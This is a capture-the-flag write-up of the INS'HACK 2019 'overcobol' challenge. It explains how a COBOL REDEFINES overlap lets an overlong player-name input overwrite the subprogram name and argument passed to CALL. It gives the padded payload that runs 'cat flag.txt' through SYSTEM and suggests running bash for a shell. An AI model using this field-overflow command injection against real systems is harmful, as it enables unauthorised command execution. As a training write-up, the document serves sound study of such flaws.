Part of a series of writeups from INS'HACK CTF 2019.


I recently discover this file called Test.CBL. It seems to be a small service aiming at storing the result of babyfoot matchs between interns at the INSHACK BANK. Maybe you can break into the MAINFRAME.

You can found the source code here and you can connect to the MAINFRAM here:

ssh user@overcobol.ctf.insecurity-insa.fr

See Test.CBL for the source.

Before diving into the code, let's connect to the service and see what's going on.

################################
# WELCOME IN THE COBOL GAME !  #
################################

1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 1
PLAYER1: John
PLAYER2: Alice
SCORE1: 1
SCORE2: 2

1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 2
John       vs Alice      : 01-02

1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 3
send                 matchs

1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 4
Connection to overcobol.ctf.insecurity-insa.fr closed.

We can register matches, view them, and send them to the "cloud".

The cloud sounds like a good entry point.

SEND-CLOUD.
  IF SUBPRGNAME = SPACE
    MOVE "send" TO SUBPRGNAME
    MOVE "matchs" TO SUBPRGARG
  END-IF
  DISPLAY SUBPRGNAME " " SUBPRGARG
  CALL SUBPRGNAME USING SUBPRGARG.
END-SEND-CLOUD.
EXIT.

If we can inject our own input into SUBPRGNAME or SUBPRGARG then we can CALL our own code. But how?

01 SUBPRG.
    02 TMPNAME PIC X(10).
    02 TMPSCORE PIC 99.
    02 SUBPRGARG PIC X(20).
    02 SUBPRGNAME PIC X(20).
01 TMPNAME2 REDEFINES SUBPRG PIC X(40).

I'm not particularly familiar with COBOL but this TMPNAME2 REDEFINES SUBPRG sticks out. It redefines it, does it?

TMPNAME2 is filled when entering player 2's name.

DISPLAY "PLAYER2: " NO ADVANCING
ACCEPT TMPNAME2
MOVE TMPNAME TO PLAYER2(NBMATCH + 1)

Inject enough bytes into the prompt for PLAYER2: and you will overwrite TMPNAME, TMPSCORE, SUBPRGARG, SUBPRGNAME.

We know we want to manipulate the last two. Rather than calculate byte offsets, we can take a shortcut and feed it a long known string.

What do you want to do ? 1
PLAYER1: A
PLAYER2: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
SCORE1: 1
SCORE2: 1

1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 3
ghijklmn             MNOPQRSTUVWXYZabcdef
libcob: Cannot find module 'ghijklmn'
Connection to overcobol.ctf.insecurity-insa.fr closed.

libcob: Cannot find module 'ghijklmn' is what we want to see. So, whichever command we want to run goes in place of ghijklmn and parameters in place of MNOPQRSTUVWXYZabcdef.

XXXXXXXXXXXXls                  SYSTEM
XXXXXXXXXXXXcat flag.txt        SYSTEM

I didn't think to, but you could also drop yourself directly into a shell by executing bash.

Let's connect one final time, inject our command, and "send it to the cloud".

################################
# WELCOME IN THE COBOL GAME !  #
################################

1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 1
PLAYER1: 1
PLAYER2: XXXXXXXXXXXXcat flag.txt        SYSTEM
SCORE1: 1
SCORE2: 1

1. Register a match.
2. View matchs.
3. Send match to the cloud.
4. Quit.
What do you want to do ? 3
SYSTEM               cat flag.txt
INSA{Cobol_and_MainFrame_4ever}

Code